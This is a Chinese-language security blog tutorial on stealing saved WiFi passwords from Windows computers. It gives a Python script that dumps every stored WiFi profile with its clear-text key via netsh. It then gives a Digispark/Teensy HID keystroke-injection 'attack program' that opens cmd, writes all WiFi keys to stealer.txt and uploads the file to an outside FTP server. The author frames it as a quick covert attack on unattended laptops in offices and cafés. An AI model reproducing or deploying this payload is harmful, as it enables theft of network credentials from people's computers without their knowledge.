本文作者:hodit/98(信安之路無線安全小組)
無線的時代已經來臨,是他讓我們感受到了沒有線的束縛的感覺,隨之而來的安全問題就越來越多,如今主流的 WiFi 密碼破解手法如:跑字典丶釣魚 WiFi 他們都是有自己的優缺點,跑字典需要大量的字典數據和算力的設備進行跑,釣魚 WiFi 需要長時間的等待。而這些破解手法還不一定能百分之百能破解目標 WiFi,接下來我們將使用一種非常簡單的手法進行收集 WiFi 密碼和 WiFi 名字。
上一篇文章中《打造屬於自己的滲透神器2》中有講到可以使用 dos 命令進行自動尋找 WiFi 密碼,而今天爲我們就來實現。我們都知道一個 WiFi 是有信號範圍的如果我們要破解這個 WiFi 就需要在這個區域,當然我們這個攻擊也是需要,電腦中有一個查詢電腦之前連接過哪些 WiFi 密碼的 DOS 命令。
這裏顯示的都是這臺電腦到目前爲止連接過的 WiFi 密碼,當我們要顯示出來某一個的時候, 如圖:
他會出現一些這個 WiFi 的信息我們在往下面看:
出現了我們想要的東西,也就是我們想要的密碼。那接下來我們就要整理思路了!
整理完思路就可以動工了!!!
import os import re wifi=('netsh wlan show profiles ') #name=Hello World key=clear with os.popen(wifi) as f: wifiname_list=[] for line in f: if'所有用戶配置文件 :'in line: #print(line) line= line.strip() wifiname= line.split(':')[1] wifiname_list.append(wifiname) print(wifiname_list) for i in wifiname_list: get=('netsh wlan show profiles name={} key=clear').format(i) withos.popen(get) asr: print(r.read()) r.close() #可以自己添加一些語句把輸出保存到U盤或者某個地方(感謝羣裏面的小姐姐對本代碼的修改和審覈--CTF 小姐姐)
當運行完以後出現了我們想要的結果
可是這個時候不知道你們有沒有想過當我在目標電腦上面運行這個程序,至少需要目標電腦的人不再電腦旁一分鐘左右,爲什麼呢?你需要把這個程序安裝到目標電腦上面運行然後保存目標電腦上面的全部 WiFi 連接數據或者拷貝到 u 盤裏面而這些都是需要時間的,而且還有可能給查殺。
那麼有方法可以在極短的時間裏面把目標電腦上面的全部WiFi數據發送到一個地方呢?
當然有
客官裏面請:
我們就會想到和 HID 攻擊進行組合,那 HID 攻擊是什麼意思?
HID 是 Human Interface Device 的縮寫,由其名稱可以瞭解 HID 設備是直接與人交互的設備,例如鍵盤、鼠標與遊戲杆等。不過 HID 設備並不一定要有人機接口,只要符合 HID 類別規範的設備都是 HID 設備。一般來講針對 HID 的攻擊主要集中在鍵盤鼠標上,因爲只要控制了用戶鍵盤,基本上就等於控制了用戶的電腦。攻擊者會把攻擊隱藏在一個正常的鼠標鍵盤中,當用戶將含有攻擊向量的鼠標或鍵盤,插入電腦時,惡意代碼會被加載並執行。
這個時候我們思路就要變化了:
實驗環境(以下實驗具有一定的攻擊性)
1.Teensy ++ 2.0 (硬件)30-50 塊錢
2.Teensyduino 插件
3.arduino 環境
4.Digispark ATtiny (本項目用到的環境,在之前的文章中有提到《打造自己的滲透神器》)
既然是 HID 攻擊那我們就需要知道鍵盤輸入的語句
Arduino 提供了以下鍵盤函數
#include //包含鍵盤模塊的頭文件 Keyboard.begin(); //開啓鍵盤通信 Keyboard.press(); //按下某個鍵 Keyboard.release();//釋放某個鍵 Keyboard.println(); //輸入某些內容和一些網上的解釋不同 網上解釋是輸入內容並且能回車,而我測試的時候並不能回車可能和版本有關 不要不要擔心有辦法回車 Keyboard.end(); //結束鍵盤通信
攻擊程序:
void setup() //初始化函數 { delay(500); Keyboard.begin(); delay(1000); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.press('r'); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.println("cmd"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print("E:"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(500); Keyboard.print("netsh wlan show profile name=* key=clear > stealer.txt"); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(2000); Keyboard.print("ftp -i 009.3vftp.com"); // ftp服務器地址 Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(3000); Keyboard.print("your username"); //ftp賬號 Keyboard.press(KEY_RETURN); Keybo ard.release(KEY_RETURN); delay(1000); Keyboard.print("your password"); //ftp密碼 Keyboard.press(KEY_RETURN); Keybo ard.release(KEY_RETURN); delay(1000); Keyboard.print("put stealer.txt"); delay(3000); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); } void loop() { } //循環函數
當運行完以後, 如圖:
目標電腦會向攻擊者的 ftp 地址發送之前保存的全部 WiFi 密碼和名字,我們會發現此次攻擊只花費了 0.47 秒就完成了尋找本機全部 WiFi 密碼並且保存和上傳。
總結
這種攻擊方法比較隱蔽而且危害性比較大,例如你是某企業的高管每天帶着電腦去個個地方開會,連接每一個開會場所的無線網絡,你的電腦會保存到很多地方的 WiFi 密碼和名字,只要讓攻擊者接觸你電腦 2-3 秒就可以完成對你這一臺電腦的 WiFi 密碼和 WiFi 名字的收集並且上傳,當攻擊者連接上就可以做他想做的事情。而這種攻擊手法非常適合在會議室丶辦公室丶咖啡廳等等這些地方,只需要抓到幾秒的時間就可以完成攻擊。
不知道這樣的演示給你們帶來了什麼樣的思考,給我的思考就是安全也就是那麼眨眼間的事情,既然可以收集WiFi密碼那也就是可以收集電腦裏面的數據進行上傳。